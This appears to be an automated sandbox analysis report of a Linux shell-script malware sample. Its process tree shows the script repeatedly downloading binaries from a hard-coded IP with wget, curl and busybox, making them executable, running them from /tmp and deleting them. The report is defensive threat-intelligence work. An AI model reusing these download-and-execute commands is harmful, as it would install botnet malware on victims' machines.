Analysis

  • max time kernel
    18s
  • max time network
    20s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/11/2024, 02:55

General

  • Target
    aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d.sh
  • Size 10KB
  • Sample241107-dera5stfrb
  • SHA256 aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d.sh
    /tmp/aa04109aabcc03edebed32e65ed1263a10297c3a20a2dd5245d64db5e1ef161d.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
          2⤵
            PID:649
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:666
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
            2⤵
              PID:674
            • /bin/chmod
              chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
              2⤵
              • File and Directory Permissions Modification
              PID:676
            • /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
              ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
              2⤵
              • Executes dropped EXE
              PID:677
            • /bin/rm
              rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
              2⤵
                PID:678
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
                2⤵
                  PID:679
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:680
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
                  2⤵
                    PID:683
                  • /bin/chmod
                    chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
                    2⤵
                    • File and Directory Permissions Modification
                    PID:689
                  • /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
                    ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
                    2⤵
                    • Executes dropped EXE
                    PID:691
                  • /bin/rm
                    rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
                    2⤵
                      PID:692
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
                      2⤵
                        PID:693
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:700
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
                        2⤵
                          PID:707
                        • /bin/chmod
                          chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
                          2⤵
                          • File and Directory Permissions Modification
                          PID:721
                        • /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
                          ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
                          2⤵
                          • Executes dropped EXE
                          PID:724
                        • /bin/rm
                          rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
                          2⤵
                            PID:725
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
                            2⤵
                              PID:727
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:735
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
                              2⤵
                                PID:738
                              • /bin/chmod
                                chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
                                2⤵
                                • File and Directory Permissions Modification
                                PID:740
                              • /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
                                ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
                                2⤵
                                • Executes dropped EXE
                                PID:742
                              • /bin/rm
                                rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
                                2⤵
                                  PID:743
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
                                  2⤵
                                    PID:744
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:745
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
                                    2⤵
                                      PID:752
                                    • /bin/chmod
                                      chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:758
                                    • /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
                                      ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
                                      2⤵
                                      • Executes dropped EXE
                                      PID:760
                                    • /bin/rm
                                      rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
                                      2⤵
                                        PID:761
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
                                        2⤵
                                          PID:762
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:769
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
                                          2⤵
                                            PID:776
                                          • /bin/chmod
                                            chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:781
                                          • /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
                                            ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
                                            2⤵
                                            • Executes dropped EXE
                                            PID:783
                                          • /bin/rm
                                            rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
                                            2⤵
                                              PID:784
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:786
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:787
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:788
                                            • /bin/chmod
                                              chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:789
                                            • /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
                                              ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
                                              2⤵
                                              • Executes dropped EXE
                                              • System Network Configuration Discovery
                                              PID:790
                                            • /bin/rm
                                              rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:791
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
                                              2⤵
                                                PID:792
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:793
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
                                                2⤵
                                                  PID:794
                                                • /bin/chmod
                                                  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:795
                                                • /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
                                                  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:796
                                                • /bin/rm
                                                  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
                                                  2⤵
                                                    PID:797
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                    2⤵
                                                      PID:798
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:799
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                      2⤵
                                                        PID:800
                                                      • /bin/chmod
                                                        chmod 777 SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:801
                                                      • /tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                        ./SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:802
                                                      • /bin/rm
                                                        rm SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                        2⤵
                                                          PID:803
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
                                                          2⤵
                                                            PID:804
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:805
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
                                                            2⤵
                                                              PID:806
                                                            • /bin/chmod
                                                              chmod 777 SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:807
                                                            • /tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
                                                              ./SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:808
                                                            • /bin/rm
                                                              rm SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
                                                              2⤵
                                                                PID:809
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
                                                                2⤵
                                                                • System Network Configuration Discovery
                                                                PID:810
                                                              • /usr/bin/curl
                                                                curl -O http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
                                                                2⤵
                                                                • Checks CPU configuration
                                                                • Reads runtime system information
                                                                • System Network Configuration Discovery
                                                                • Writes file to tmp directory
                                                                PID:811
                                                              • /bin/busybox
                                                                /bin/busybox wget http://216.126.231.240/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
                                                                2⤵
                                                                • System Network Configuration Discovery
                                                                PID:812
                                                              • /bin/chmod
                                                                chmod 777 BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:813
                                                              • /tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
                                                                ./BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
                                                                2⤵
                                                                • Executes dropped EXE
                                                                • System Network Configuration Discovery
                                                                PID:814
                                                              • /bin/rm
                                                                rm BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
                                                                2⤵
                                                                • System Network Configuration Discovery
                                                                PID:815
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
                                                                2⤵
                                                                  PID:816
                                                                • /usr/bin/curl
                                                                  curl -O http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:817
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
                                                                  2⤵
                                                                    PID:818
                                                                  • /bin/chmod
                                                                    chmod 777 u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:819
                                                                  • /tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
                                                                    ./u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:820
                                                                  • /bin/rm
                                                                    rm u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
                                                                    2⤵
                                                                      PID:821
                                                                    • /usr/bin/wget
                                                                      wget http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
                                                                      2⤵
                                                                        PID:822
                                                                      • /usr/bin/curl
                                                                        curl -O http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:823
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://216.126.231.240/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
                                                                        2⤵
                                                                          PID:824
                                                                        • /bin/chmod
                                                                          chmod 777 s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:825
                                                                        • /tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
                                                                          ./s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:826
                                                                        • /bin/rm
                                                                          rm s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
                                                                          2⤵
                                                                            PID:827
                                                                          • /usr/bin/wget
                                                                            wget http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
                                                                            2⤵
                                                                              PID:828
                                                                            • /usr/bin/curl
                                                                              curl -O http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:829
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://216.126.231.240/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
                                                                              2⤵
                                                                                PID:830
                                                                              • /bin/chmod
                                                                                chmod 777 lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:831
                                                                              • /tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
                                                                                ./lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:832
                                                                              • /bin/rm
                                                                                rm lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
                                                                                2⤵
                                                                                  PID:833
                                                                                • /usr/bin/wget
                                                                                  wget http://216.126.231.240/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
                                                                                  2⤵
                                                                                    PID:834

                                                                                Network

                                                                                      MITRE ATT&CK Enterprise v15

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                                                                                      Downloads

                                                                                      DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk

                                                                                      • Path /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
                                                                                      • Size 153B
                                                                                      • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                      • MD5 SHA1 SHA512